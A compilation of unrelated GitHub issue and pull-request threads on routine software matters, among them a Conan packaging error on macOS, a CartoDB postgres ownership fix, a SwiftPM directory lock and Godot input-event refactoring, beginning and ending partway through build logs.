-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Conan: called by CMake conan helper
-- Conan: Using cmake global configuration
-- Conan: Adjusting default RPATHs Conan policies
-- Conan: Adjusting language standard
-- Conan: C++ stdlib: libc++
-- Configuring done
-- Generating done
-- Build files have been written to: /Users/luism/workspace/inclusions/storage/jgsogo/conan-packages/apache-apr__1.6.3__jgsogo__stable/git_clone/pkg/test_package/build/7dd9e1a83ffe63c45af7c671c6032d748dc83894
Scanning dependencies of target example
[ 50%] Building CXX object CMakeFiles/example.dir/example.cpp.o
[100%] Linking CXX executable bin/example
[100%] Built target example
apache-apr/1.6.3@jgsogo/stable (test package): Running test()
dyld: Library not loaded: /Users/travis/.conan/data/apache-apr/1.6.3/jgsogo/stable/package/389adbab17f57e67170eb9b6c367e3676bd95d7c/lib/libapr-1.0.dylib
Referenced from: /Users/luism/workspace/inclusions/storage/jgsogo/conan-packages/apache-apr__1.6.3__jgsogo__stable/git_clone/pkg/test_package/build/7dd9e1a83ffe63c45af7c671c6032d748dc83894/bin/./example
Reason: Incompatible library version: example requires version 7.0.0 or later, but libapr-1.0.dylib provides version 5.0.0
ERROR: PROJECT: Error in test() method, line 23
self.run(".%sexample" % os.sep)
ConanException: Error 6 while executing ./example

I'm not fully sure if it is related, but I noticed that you are packaging static and shared libraries, but the test package is always importing to the bin the dylibs, so, how do you know which library is being packaged? I would suggest the usage of build_id instead of package_id to build once but package twice.  I think it's safer to package only the shared or only the static.

I know very little about OSX, but I have activated shared/static build in Travis jobs and they are succeeding, so maybe there is something wrong in your configuration. Can you help me to reproduce your error?
Anyway, I will have a look at build_id and try to use it.

The errors with OSX are gone, I don't know what changed but it is working ok now, maybe a bug in conan already solved?
So, we have still some pending issues:

Missing packages for Visual Studio 14
Missing packages for apple-clang 9.1 (can be added to travis with xcode 9.3)
Missing packages for clang 4.0
Complete the "labels" field in the bintray account.

Can you check it all again? I think that everything is ok now.
This is the matrix I've just generated using current CI files:

Why x86 only for the latest compilers and why not debug packages except for visual studio?

I copy these CI conf files from one project to another. I like to have a little of each setting and option available, but no heuristic or special reason to choose one over another.
This project doesn't last too much to compile (<40min in appveyor) so I can fill a little bit more the matrix. Anyway, it will always be gaps in it, do Conan log most used configurations in order to have those binaries available at conan-center?

@lasote, kindly reminder... 🙃

do Conan log most used configurations in order to have those binaries available at conan-center?

No, we are not using stats to choose which configuration we build.
The typical matrix would be:

@lasote I've been trying minGW for this package, but I don't know if it will worth the effort, here is a link with some patches, but those do not correspond to the current release version.
I think I will add more CI jobs to generate more binaries, but with respect to MinGW I will leave here an issue opened and a branch. If you consider that it is needed to submit the recipe to conan-center... well, people can always add more remotes :smile: and I think apache-apr is not a demanded recipe, it is better to spent time working on other recipes.

Yeah, no problem. As you said, it is better to wait for feedback or other configurations request.
I'm taking some days off for summer, so sorry if I don't answer ;)


 Display health status

Display the health status of the identity service of every member to the superuser only.
For further details: here

please assign me this task


Implement multilingual sitemaps

We currently have a pending PR for a refactored Sitemap in-place at Wagtail. When merged we can add support for multilingual sitemaps.

wagtail/wagtail#3504 will be shipped in Wagtail 1.10, so this isn't blocked anymore..

Some more information about multi language sitemaps: https://support.google.com/webmasters/answer/189077?hl=en


feat: refactors to use React Hooks

What
Swaps to React Hooks (Closes #2)
Big thanks to @myteax for his work on this, without his work on #5 I was stuck.

:tada: This PR is included in version 0.3.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


feat: the cascade of css questions The Odin Project

Checklist:

[x] I have read and followed the contribution guidelines.
[x] I have read and followed the how to open a pull request guide.
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

Closes #XXXXX

Good catch, no they are not.


Incompartible with UIKit

I was not able to use it together with [UIKit] (http://getuikit.com/).
There is possibility I have too small experience with css and z-index overlaying...

Can you make a small test sample? I'll reopen this issue once you do.


Evaluate using std::variant for EncodableValue

EncodableValue is basically a custom std::variant because I didn't want to require C++17. However, now that code is only being used for Windows (and people building GLFW for very specific use cases), we require VS 2019, and that has C++17 support. Given that, we should see about replacing it.
There are two options:

Keep it basically the same, but use std::variant internally
Have std::variant become the API surface

I'd like to look at both options; depending on how usable the latter feels it may be preferable since it will not require people familiar with modern C++ to learn a new project-specific API, which is generally a win in the longer term.
This is interactive with https://github.com/flutter/flutter/issues/31174 since it'll need a solution for extensibility as well.

One consideration is that EncodableValue is currently 16 bytes, whereas the std::variant version is 48 due to not being able to use pointers to slim down the union. However, it's not clear that the size of elements is really that important; anything sending a lot of data would presumably be using one of the array specializations, where the overhead isn't per-element.

Mostly, a full replacement with std::variant seems like a win. The syntax is arguably a bit uglier, for instance:

foo.StringValue()  becomes std::get<std::string>(foo)
foo.IsString() becomes std::holds_alternative<std::string>(foo)

however, that's also standard syntax as noted above, which is an advantage. And it unlocks things that the current class doesn't allow, like the use of std::visitor, or alternate patterns for checking and getting values like std::get_if (which in practice can likely replace most uses of Is*).
My biggest concern is this, but it looks like I can work around that by subclassing the variant.
Next step is to make sure this works on Linux GLFW, and to port the FDE plugins to verify that there aren't particularly painful cases I haven't seen yet.

Another option, since it needs to be a std::variant subclass anyway, is to keep all the *Value and Is* methods, but that means there are two ways to do everything which I think is probably worse than the convenience. Especially since if someone really wants convenience methods, they can trivially be written as freestanding methods within a project (StringValue(foo) instead of the current foo.StringValue()).


Fix Space added between survey block and what you think block in public view engagement page

It happens when widgets are added


Not possible to mount persistent cartoDB pg_data.

After making the pg_data persistent we get the following error in the logs:
Missing argument in printf at /usr/bin/pg_lsclusters line 126.
 * Starting PostgreSQL 10 database server
 * Error: The cluster is owned by user id 105 which does not exist
   ...fail!

When we make data persistent we set the directory ownership to userid 105 (postgres).
# Inside container cartodb_pgdata is owned by postgres (uid=105) user,
# it should be owned by same user on the local filesystem
sudo chown -R 105.105 $PWD/cartodb_pgdata

By default not all the systems have such user. Shouldn't the documentation cover this corner case?

We tried to add the user by hand:
sudo adduser -UID 105 postgres
adduser: The UID 105 is already in use.

In our system, after installing Spark platform using Ansible roles we have the following user
_apt:x:105:65534::/nonexistent:/bin/false

Had the same problem. Changed owner to 103 on cartodb_pgdata on the local file system with sudo chown -R 103.103 $PWD/cartodb_pgdata (seems like Carto changed the default owner on the carto project to 103). Run stat on the postgresql dir in the docker and see owner is set to 103. Owner has to be the same.

It works like a charm.

To get  get parallel query support (#43) I upgraded from Ubuntu 16.04 to 18.04 . Seems like the new Ubuntu has a different postgres user id.
I have updated the README to use 103.


chore: fixes github actions for ruleserver.

Fixes ruleserver github action.

@bryanwux @leyao-daily tests for ruleserver are failing (see https://github.com/intel/modsecurity-wasm-filter/runs/6171881830?check_suite_focus=true#step:7:16). Do you have any clue on why?

It seems that some pre-requirments is not met. The build need kubebuilder and which require kustomize and controller-gen.

This is green.

LGTM. @jcchavezs  Thanks, and please squash your commits into one.

Can't we squash it on merge?

Can't we squash it on merge?

It makes sense. And please sign off your commits.

Will do that.
tir. 26. apr. 2022, 16:02 skrev Le Yao @.***>:

Can't we squash it on merge?
It makes sense. And please sign off your commits.
—
Reply to this email directly, view it on GitHub
https://github.com/intel/modsecurity-wasm-filter/pull/5#issuecomment-1109837308,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAXOYASBBOTJFXGU64FMSMTVG7ZOVANCNFSM5UK7WJAA
.
You are receiving this because you were mentioned.Message ID:
@.***>

About Squash and rebase, if I do this action, whether it will change the commits author or not?

Nope it won't, for example see https://github.com/openzipkin/zipkin/commit/b9e38f22788d9308d69a49fbcf4ac4cf2ef35c65 where I squashed and merged the PR.
I just signed off my commits.

Thanks a lot for your contribution.

Can't we squash on merge instead?
tir. 26. apr. 2022, 13:28 skrev Le Yao @.***>:

LGTM. @jcchavezs https://github.com/jcchavezs Thanks, and please squash
your commits into one.
—
Reply to this email directly, view it on GitHub
https://github.com/intel/modsecurity-wasm-filter/pull/5#issuecomment-1109679521,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAXOYAU7T5WV2HEY2GP2CFTVG7HL5ANCNFSM5UK7WJAA
.
You are receiving this because you were mentioned.Message ID:
@.***>


Add icon to launcher bar on linux base systems

Add icon to launcher bar on linux base systems

HOW TO  REPRODUCE : run  SubutaiControlCenter from terminal

Fixed on master

Fixed in Prod.


<EMAIL_ADDRESS>

Added the code for 'A short example of real-time event streaming using Spring Webflux' in spring-5-reactive module.

Pull Request for the first evaluation article closed.


Catchable fatal error: Order List on Dashboard getProductTranslationByObject() is being given a Boolean instead of an WC_Product Object

First,
Let me say thanks for taking the time to make this plugin; it's greatly appreciated!
I am having a problem after upgrading my WooCommerce and WordPress cores. I am getting the following error when looking on my Orders list in the dashboard:
Catchable fatal error: Argument 1 passed to Hyyan\WPI\Utilities::getProductTranslationByObject() must be an instance of WC_Product, boolean given, called in /wp-content/plugins/woo-poly-integration/src/Hyyan/WPI/Order.php on line 105 and defined in /wp-content/plugins/woo-poly-integration/src/Hyyan/WPI/Utilities.php on line 88

Cheers man!
Nathaniel

Just push corrections for this.
Let's see if the plugin author accepts it.

@ebelrose Did your pull request accept? I'm having the same error which @Nathaniel401 has.

I have been patching and develop further this plugin. I have included ebelrose pull in my fork. Can I suggest you use my fork at https://github.com/decarvalhoaa/woo-poly-integration/releases/tag/v0.27
Note that I have not test it yet with WC 2.6. I don't usually upgrade immediately after a release to field, since in the first months there will be plenty of issues being raised and solved, and testing all this releases is time consuming.

No,  there was no commit on this project in 11 months so I presume it's dead

PR is  accepted  , thanks


[FEAT] Where is itemTappable option mentioned in the Medium article?

Is your feature request related to a problem? Please describe.
Hi! In the Medium article I saw a mention of a feature: itemTappable - makes the pages clickable. But I can't find it in the library itself. Can someone please clarify?
Also, I'd like to know whether this feature enables the user to tap on non-focused page in order to switch to that page, because I could really make use of that functionality.
Thanks.

Hi @dinotrnka , I published that article long ago, with the first version of the framework. I decided to remove it as it’s something that can very easily be achieved by using onTapGesture and setting the page index and it’s very specific to certain users. As the library aims to be of general purpose, this went away. It was creating trouble to some users too as gesture management is not quite well defined yet in SwiftUI.
I don’t think it’s worth bringing it back but I’m happy to share code to do so if needed

Hi @fermoya, thanks for your response. If you could share the code for that specific case then I'd be very grateful. Thanks!

So you need to do:
Pager(page: $pageIndex,
           data: myData) { index in
    MyPage(index: index)
        .onTapGesture {
                withAnimation {
                     pageIndex = index
                 }
         }
}

Thanks, works like a charm!


Orphaned foundation subscriptions cause errors

E.g. modals subscribe for the fa api.
Unfortunately on destroy the dont unsubscribe.
so there will be subscription callbacks that rely on no longer avaiable vars.
that causes:
Cannot read property '$$phase' of null

Hey @maxcook, do you have a code snippet to show the callback you're trying to use with the directive?

Related: #397

@maxcook should be solved with https://github.com/zurb/foundation-apps/commit/05663c96b2dc538959342fffdfe4dbe9e8892531. Let me know if this issue is still persisting for you.


Adding a main post submit job

Issue #, if available:
Description of changes:
Adding a main presubmit job to run release target against kubernetes-1.18, cni plugins, aws-iam-authenticator, etcd and core dns. Deleted postsubmit job files for each of these targets.
TODO: Expand the job for kubernetes 1-19 and other targets.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/test prowjobs-lint-presubmit

/test prowjobs-lint-presubmit


navigationBarStyle in Route doesn't work

For some reason I am unable to override scene NavBar style with navigationBarStyle option, as it stated in docs.
My component structure is following:
<Router ... navigationBarStyle={styles.bar}>
   <Route name='onboarding' ... navigationBarStyle={styles.bar2} />
</Router>

I expect the Onboarding page will have custom NavBar color, but it doesn't.

+1

hide the router navbar

@ajoshdee, yes, I can figure out some workaround, but I think more solid API might be more suitable for my and similar situation.

The navbar is also not changing for me despite using navigationBarStyle.

ditto.  Trying to center the title in the navigation bar.. not working.

It is NOTE supported now  - customisation of nav bar for each route. PR will be welcome.


Streamline InputEvent class hierarchy to define position property only once

This PR changes the InputEvent class hierarchy, so that the position property is defined only in a single new class named InputEventWithPosition. Current status is, that position gets defined in four different classes with their own getters and setters, which would be simplified by this patch. Another benefit is, that this change makes it easy to distinguish between events with and without position.
In order to make this possible, this patch changes InputEventScreenDrag and InputEventScreenTouch, so that they now also inherit from InputEventWithModifiers.
The changed class hierarchy would look like this:

InputEventFromWindow

InputEventWithModifiers

InputEventKey
InputEventWithPosition (new)

InputEventScreenDrag
InputEventScreenTouch
InputEventGesture
InputEventMouse

Implements https://github.com/godotengine/godot-proposals/discussions/4158
Bugsquad edit: Related to #55300 and #58334

That makes sense to me. I thought about the same but didn't push on that idea since the screen event didn't inherit InputEventWithModifiers. But changing their inheritance to allow this makes sense.

Two additional thoughts came to my mind:

After this change, InputEventWithModifiers is the only class, that inherits directly from InputEventFromWindow. Should they be kept separate?
After this change, InputEventGesture is an empty class, that is used only in a few locations within the source code. Maybe it could be made to disappear.

On my side I am not sure about the usefulness of this.
Making InputEventScreenDrag, InputEventScreenTouch  and InputEventGesture extend InputEventWithModifiers does not seems to solve a real-life use case, as tactile input and keyboard, are usually used separately.
Also, I think making a common InputEventWithPosition class is not really useful beside the fact it allows reducing a little bit duplicated code. In general, having the possibility to manipulate objects using such an abstract class should help, but in that case, all are quite different events that will need to be handled very differently anyway. This limits the amount of code you could share for all those events.
To sum up, I believe the gain from this PR is limited while it make the class hierarchy more complex (which is visible to the end user, not only internal).

This was discussed in the PR-review-meeting.
In the future it may be a reasonable change for combining different mouse-similar event types, however not at the moment.
Because of merge-conflicts I am closing this, since it would have to be rewritten in any case.


Allow multiple bam per sample

Description of feature
Allow multiple bam inputs per sample to account for replicates, sequencing repeats and general extra coverage

TL;DR:

add samtools merge


Base case well-known/core handling missing

The basic coap://host/.well-known/core handling is missing, and is only taken into account when a query parameter is a part of the request.

Example of correctly formed packet, with query param, which doesnt work with our broker (gives invalid path)

Example of what our client now makes (and what our broker makes work)

Client side this is easily fixable by using the packet.add_option method, example:
   let addr = GLOBAL_URL;     let mut client: UdpCoAPClient = UdpCoAPClient::new_udp(addr).await.unwrap();     let mut request: CoapRequest<SocketAddr> = CoapRequest::new();     request.set_path(".well-known/core");     request.message.add_option(coap_lite::CoapOption::UriQuery, "rt=core.ps.conf".into());
On the broker side since for all well-known/core queries the path will be the same, the type of discovery should then be decided by the coap option uri-query, example of how to extract uri query param in coap_lite from coaprequest:
let query_params = req.message.get_option(coap_lite::CoapOption::UriQuery);

If issue 75 is handled first, handling this issue is most likely rather simple


Add service type

Options:

URI
URN
string (e.g. "BEACON")

I've just realized this effectively duplicates #2, closing.


read_html ignores commas

Hello,
I'm trying to parse a file with the extension 'xls' which is not an Excel file but it's clearly an html file (open with a text editor it's clearly html code).
One of my columns uses the italian convention of using the comma instead of the dot before decimals: 5,5 instead of 5.5. I was hoping to parse it at least as string and replace commas with dots and convert the string to a float.
The problem is that the commas are completely ignored and instead of getting 5,5 or 7,04, I'm getting 55 and 704.
Is this known? Any idea on how to solve it?

Actually I noticed that the argument  thousands = None allows the parsing of the commas correctly.

closing as dupe of #12907


added method to execute queries already pre-built

This PR adds a method that allows you to execute pre-built queries. While using reflection to build queries is convenient as you get some resemblance of type safety it gets very cumbersome when you need to create queries semi-dynamically. For instance, imagine you are building a CLI tool to query data from a graphql endpoint and you want users to be able to narrow down the query by passing cli flags or something. In that case you could do something like:
        // filters would be built dynamically somehow from the command line flags
        filters := []string{
           `fieldA: {subfieldA: {_eq: "a"}}`,
           `fieldB: {_eq: "b"}`,
           ...
        }

	query := "query{something(where: {" + strings.Join(filters, ", ") + "}){id}}"
	res := struct {
		Somethings []Something
	}{}
	if err := client.DoWithQuery(ctx, query, &res, map[string]any{}); err != nil {
		panic(err)
	}
        ...

As far as I can tell with the current API there is no way of achieving this.

Hi @dbarrosop and @hgiasac
Can query support be extended to the subscriptions as well? Specifically the new "streaming subscriptions" introduced in Hasura 2.7.0

There is a separate subscription client here https://github.com/hasura/go-graphql-client#subscription. I haven't tested with streaming yet, but I think it still works if it uses the same subscription specification.
If you mean that we need pre-built query for subscription, it's possible. We can create a PR for this

If you mean that we need pre-built query for subscription

Yes that is exactly what I would like to see. We have our own "graphql client" (really just http.Client) but we would love to switch to yours (go-graphql-client) to leverage subscriptions, without having to completely rewrite our hundreds of queries.
Should I log a new issue?

No need. I will update it soon. Currently, I don't have permission to enable the Issue tab though

Interesting that you don't have permission! I thought you were the owner?

Yes, I created this repository. However, the permission is managed by the organization's account (Hasura)

@jflambert I just checked. The subscription client already has the function SubscribeRaw that runs subscription with pre-built query string. I forgot that I implemented it before

Yes. we will also add an Exec function to be consistent with the HTTP client.  For now, you can use the SubscribeRaw function in the subscription client

@jflambert FYI https://github.com/hasura/go-graphql-client/releases/tag/v0.7.1


SAMZA-2552: Avoid logging false positive error message on each record.

This happens when the filter expression is evaluated over a null column.
Symptom: Logging an error message on each record when the actual state is correct leads to a false positive alerts and will flood the log files for no reason.
Cause: handling of null case when the class is not correct.
Changes: Removed the logging when the value is null.
Tests: Run the Samza SQL tests end to end.

This change is

Thanks for the changes. Merged the pull request.


Use double.Epsilon for equal check in expression

Specific Changes

Change the minimal value of float/double to double.Epsilon
Fix typo

@Danieladu, could you please add the issue that this change fixes? Thank you.


Lock scratch directory during tool execution

Currently, concurrent execution of SwiftPM can easily break the state in .build irreparably. This is especially in conjunction with tools using file watching to trigger package resolution which is something that e.g. the Swift VS Code plugin does.
We can resolve this by locking the .build directory for the duration of execution of any SwiftTool such that any following access will do a blocking wait until unlock. This is using the same infrastructure that we are already using for the shared repository cache. Unlike the shared cache, tool execution can take a long time, so we'll inform the user about the waiting process so that they can decide to cancel instead.
rdar://113964179

I wonder if we need/want to do anything special for non-interactive execution (e.g. always bail if .build is locked) and also potentially a flag like swift build --no-wait-for-scratch-directory-lock.

https://github.com/apple/swift-tools-support-core/pull/458
@swift-ci please test

Not sure I understand the Linux failure:
[980/1149] Compiling Basics AbsolutePath.swift
/home/build-user/swiftpm/Sources/Basics/FileSystem/FileSystem+Extensions.swift:200:36: error: cannot convert value of type 'TSCAbsolutePath' (aka 'AbsolutePath') to expected argument type 'AbsolutePath'
        try self.withLock(on: path.underlying, type: type, blocking: blocking, body)
                                   ^
[981/1149] Compiling Basics FileSystem+Extensions.swift
/home/build-user/swiftpm/Sources/Basics/FileSystem/FileSystem+Extensions.swift:200:36: error: cannot convert value of type 'TSCAbsolutePath' (aka 'AbsolutePath') to expected argument type 'AbsolutePath'
        try self.withLock(on: path.underlying, type: type, blocking: blocking, body)
                                   ^

Not sure I understand the Linux failure

Oh, of course this is because self-hosted jobs don't support cross repo testing.

https://github.com/apple/swift-tools-support-core/pull/458
@swift-ci please test windows

Windows failure looks related:
C:\Users\swift-ci\jenkins\workspace\swiftpm-PR-windows\swift-tools-support-core\Sources\TSCBasic\Lock.swift:117:37: error: cannot convert value of type 'Int32' to expected argument type 'Int'
        case .exclusive: dwFlags |= LOCKFILE_EXCLUSIVE_LOCK

https://github.com/apple/swift-tools-support-core/pull/458
@swift-ci please test windows

I wonder if we need/want to do anything special for non-interactive execution

nice! I proposed to lock a few years ago https://github.com/apple/swift-package-manager/pull/2036#discussion_r264407186, which, unfortunately, was rejected as not needed. I'm happy to see the idea finally made it through.
@neonichu  The work is here in case that may be helpful in terms of scope https://github.com/apple/swift-package-manager/pull/2037. One thing is that I believe Workspace should do the locking too, like when invoked by the sourcekit-lsp or other  such.

I wonder if we need/want to do anything special for non-interactive execution (e.g. always bail if .build is locked) and also potentially a flag like swift build --no-wait-for-scratch-directory-lock.

To answer myself here somewhat delayed, it doesn't seem as if we can do anything for non-interactive execution without requiring changes to the VS Code plugin (and potentially many other integrations that are shelling out to SwiftPM). By definition these integrations are non-interactive and if we don't make them wait they would fail in potentially many scenarios that work fine today.

it doesn't seem as if we can do anything for non-interactive execution without requiring changes to the VS Code plugin

what exactly? shouldn't sourcekit-lsp at least be aware and avoid command line execution overlap?

The VS Code plugin shells out directly to swift package resolve etc, outside of its use of sourcekit-lsp.

that's exactly my point. these two may (and do) overlap without any lock


Donate Button V4

Screenshot

New widget options:
{
        nonprofitSlug: string;
	fundraiserSlug?: string;
	methods: PaymentMethod[];
	openAt: string;
	show: boolean;
	primaryColor: string;
	defaultDonationAmount?: number;
	minDonationAmount: number;
	defaultFrequency: DonationFrequency;
	addAmounts?: number[];
	completeDonationInNewTab?: boolean;
	noExit?: boolean;
}

PaymentMethod {
	'card',
	'bank',
	'paypal',
	'venmo',
	'pay', // google/apple pay
	'crypto',
	'stocks',
	'daf'
}

DonationFrequency {
	'monthly',
	'once',
}

Exciting! @Fishbakh-N can you make it so that at the demo index https://donate-button-jny9z0pi9-everydotorg.vercel.app/

There is a link to 0.4?

Also we need to make sure that the 0.3 code does not get deleted at all ... maybe we should put all this new code in a new folder packages/donate-button-04/ ?? Seems like the easiest solution to ensure the many websites using the 0.3 library do not have any trouble

Nice!!!!
In the upper left, instead of:

Please use:

(For the color, fine to just be a white background.)

Looking good!!! Two questions

Could we add the beginning of Apple/Google Pay? Could you auto-detect support just using Javascript? (Not the Stripe libraries)
Why is there a "loading" pause for 0.4, vs the 0.3 was instant? I think the animation looks good, but could we make it shorter?

@mark

ОК, I'll look into it. I'll see what I can do about it.
in 0.3 you can provide name, logo url, description, address by passing it as props for widget. in 0.4 it only primarySlug and all data will be loaded after

Looks good !


Bump css-loader and webpack packages

Dependabot is reporting js-yaml as a high severity vulnerability. This is installed via the css-loader package, which is used by webpack. Thus, I've updated all webpack packages.
https://issues.redhat.com/browse/COST-321

Codecov Report

Merging #1606 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1606   +/-   ##
=======================================
  Coverage   78.72%   78.72%
=======================================
  Files         238      238
  Lines        3891     3891
  Branches      714      714
=======================================
  Hits         3063     3063
  Misses        729      729
  Partials       99       99

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update be01e15...585c565. Read the comment docs.


Rework/collision

Rework collision mechanics for non-bullet collisions
Remove old AABB and other collision related classes
Support forces which can be added limitless to an dynamic object (RigidBody)
Optimizations for component update cycle - less object transform requests and inconsistencies - transform position has a buffer now, to prevent inconsistencies in future patches
Collider, Shapes and PhysicalEntity are seperately defined to be able to add more custom definitions in the future
Character Controller is NOT a final implementation - probably that's something that the engine should not implement out of the box, since controlling a character can be done in a lot of different ways

This will receive its unit tests, after PR #41 is done and merged, since it contains require testing adjustments for all future tests.

Added a couple of tests. Pls look over them and give feedback.

Added a couple of tests. Pls look over them and give feedback.

Working on this, it may take some time.

Added a couple of tests. Pls look over them and give feedback.

Working on this, it may take some time.

No problem, take your time, we can even do some tests together and you can ask some questions :)

This error is thrown on collision with the tilemap in DemoPlatformer.java (any further attempts to launch the window fail immediately with this same error.)
Exception in thread "main" java.lang.ClassCastException: class [Ljava.lang.Object; cannot be cast to class [Lorg.joml.Vector2f; ([Ljava.lang.Object; is in module java.base of loader 'bootstrap'; [Lorg.joml.Vector2f; is in unnamed module of loader 'app')
	at physics.collision.CollisionUtil.expandingPolytopeAlgorithm(CollisionUtil.java:149)
	at physics.collision.Collisions$2.accept(Collisions.java:58)
	at physics.collision.Collisions$2.accept(Collisions.java:54)
	at ecs.StaticCollider.handleCollision(StaticCollider.java:157)
	at ecs.RigidBody.handleCollision(RigidBody.java:221)
	at scene.Scene.checkCollision(Scene.java:105)
	at scene.Scene.checkCollision(Scene.java:94)
	at ecs.GameObject.update(GameObject.java:128)
	at scene.Scene.updateGameObjects(Scene.java:204)
	at scene.SceneManager.updateGameObjects(SceneManager.java:128)
	at graphics.Window.showWindow(Window.java:168)
	at util.Engine.showWindow(Engine.java:62)
	at scenes.DemoPlatformer.main(DemoPlatformer.java:26)

I am also unable to run the DemoTopDown scene due to a concurrent modification error, probably a bug with the scene manager #31
> Task :DemoTopDown.main() FAILED
called
called
called
called
called
Exception in thread "main" java.util.ConcurrentModificationException
	at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1042)
	at java.base/java.util.ArrayList$Itr.next(ArrayList.java:996)
	at ecs.GameObject.start(GameObject.java:111)
	at scene.Scene.startGameObjects(Scene.java:133)
	at scene.SceneManager.enable(SceneManager.java:48)
	at graphics.Window.showWindow(Window.java:155)
	at util.Engine.showWindow(Engine.java:62)
	at scenes.DemoTopDown.main(DemoTopDown.java:25)

Files have been edited, you should not encounter problems or error now - if so, pls provide more data, since I cannot reproduce some of them

This error is thrown on collision with the tilemap in DemoPlatformer.java (any further attempts to launch the window fail immediately with this same error.)
Exception in thread "main" java.lang.ClassCastException: class [Ljava.lang.Object; cannot be cast to class [Lorg.joml.Vector2f; ([Ljava.lang.Object; is in module java.base of loader 'bootstrap'; [Lorg.joml.Vector2f; is in unnamed module of loader 'app')
	at physics.collision.CollisionUtil.expandingPolytopeAlgorithm(CollisionUtil.java:149)
	at physics.collision.Collisions$2.accept(Collisions.java:58)
	at physics.collision.Collisions$2.accept(Collisions.java:54)
	at ecs.StaticCollider.handleCollision(StaticCollider.java:157)
	at ecs.RigidBody.handleCollision(RigidBody.java:221)
	at scene.Scene.checkCollision(Scene.java:105)
	at scene.Scene.checkCollision(Scene.java:94)
	at ecs.GameObject.update(GameObject.java:128)
	at scene.Scene.updateGameObjects(Scene.java:204)
	at scene.SceneManager.updateGameObjects(SceneManager.java:128)
	at graphics.Window.showWindow(Window.java:168)
	at util.Engine.showWindow(Engine.java:62)
	at scenes.DemoPlatformer.main(DemoPlatformer.java:26)

2021-07-23.20-03-31.mp4

this bug is fixed in my last commit, however we should probably look deeper into the problem as you suggested on discord.


Add colpali

What does this PR do?
Add ColPali support in 🤗 transformers.
Who can review?
@yonigozlan 😉

Closed: follow-up PR can be found at https://github.com/huggingface/transformers/pull/33736.


Add DPG: Oky (Issue #555)

created with https://github.com/ericherman/dpg-csv-to-json - some cleanup may be desired.
See: https://github.com/unicef/publicgoods-candidates/issues/555#issuecomment-882435168

Oky initially submitted with several gaps in the DPG standard indicators which need to be addressed before we can proceed with the review:

[ ] Clear Ownership
[ ] Platform Independence
[x] Documentation
[x] Mechanism For Extracting Data
[ ] Adherence to Standards & Best Practices
[ ] Adherence to Privacy and Applicable Laws
[ ] Do No Harm
[ ] Data Privacy & Security
[x] Inappropriate & Illegal Content
[x] Protection from Harassment

I have contacted the person who made the submission and will update once they come through.


Projecting splice variants in transcript notation does not work

Describe the bug
Splice variants in transcript notation don't appear to work.
To Reproduce
Steps to reproduce the behavior:

Enter the following variatn NM_014305.4(TGDS):c.825+4T>A
See the error from below

Expected behavior
Should redirect to https://reev.cubi.bihealth.org/seqvar/grch37-13-95230255-A-T?orig=GRCh37-13-95230255-A-T
Screenshots

Additional context
N/A

Root Cause Analysis
We do not properly urlscape the query string and + is not escaped as %2b and thus interpreted as a space character.


Add test case for bob with leading and trailing whitespace

The reference implementation didn't need updating to handle this?

No, the test is successful with the example.cpp.
I've written the test, because I saw some solutions which just check the first and the last char for whitespaces, which in my opinion could lead to some errors. These checks would fail with this test.

When a test is added without any changes in the implementation it tells me that this test and another test are doing the same thing.  However, this may not be the case for the solutions you are describing, it just happens to be the case for my solution.
It's hard for me to tell from the diff; do we have multiple leading and trailing whitespace in the new test?  It looks like there might just be a single leading space while there are multiple trailing spaces.  Can we make sure it has multiple leading and trailing spaces in the test input?


Attach relevant FilePath values to Errno errors

This makes it much easier to diagnose file system errors.
Also applied consistent formatting to some of the existing files.
Resolves https://github.com/apple/swift-sdk-generator/issues/48.

@swift-ci test


SPIKE:  Research NFT Selfie and identify refactoring opportunities

NFT selfie was done under time duress, so it is worth another look to be refactored.  The deliverable is a list of possible areas where refactoring would be a value-add

Most of the components in the repo are still being built with tailwind and some are not using typescript so it is probably best to use other projects for the ui kit.
The photo/video capture might be useful if we need that for another app down the road but I believe it would be easier to outright build another one if the use case comes up.
-After talking with the rest of the team, the best strategy would be to recreate the app using the ui kit when it is ready.


Incorrect FEATURE STATE for Serving and Terminating.

This is a Bug Report

The FEATURE STATE for Serving and Terminating is mentioned Kubernetes v1.20 [alpha]  under EndpointSlices which is wrong, As per mention in the Fetature Gates the correct Feature state for EndpointSliceTerminatingCondition is Kubernetes v1.22 [beta].
Proposed Solution:
Update the Feature State of Serving and Terminating from Kubernetes v1.20 [alpha] to Kubernetes  v1.22 [beta].
Page to Update:
https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/

EndpointSliceTerminatingCondition: Enables EndpointSlice terminating and serving condition fields.

/assign

Fixed it here: #35632

/language en
/triage accepted


Next.js SSG Deploy Fail with no reason

Before opening, please confirm:

[X] I have checked to see if my question is addressed in the FAQ.
[X] I have searched for duplicate or closed issues.
[X] I have read the guide for submitting bug reports.
[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.

App Id
d1ka0gxxs2xqs1
Region
us-west-2
Amplify Console feature
Not applicable
Describe the bug
After adjusting our package.json so the newly added Amplify Next.js SSR integration would detect our application as an SSG (not SSR).  The "Deploy" stage fails... no logs indicating why.

The "Build" phase appears to be completing successfully.
2021-05-18T23:23:03.156Z [INFO]: # Executing command: npm run build
2021-05-18T23:23:03.310Z [INFO]: ><EMAIL_ADDRESS>build /codebuild/output/src803710412/src/sdn-product/tools/upc-tv
                                 > next build && next export
2021-05-18T23:23:03.585Z [INFO]: info  - Loaded env from /codebuild/output/src803710412/src/sdn-product/tools/upc-tv/.env
2021-05-18T23:23:03.809Z [INFO]: info  - Using webpack 5. Reason: no custom webpack configuration in next.config.js https://nextjs.org/docs/messages/webpack5
2021-05-18T23:23:03.912Z [INFO]: warn  - No build cache found. Please configure build caching for faster rebuilds. Read more: https://nextjs.org/docs/messages/no-cache
2021-05-18T23:23:03.912Z [INFO]: info  - Checking validity of types...
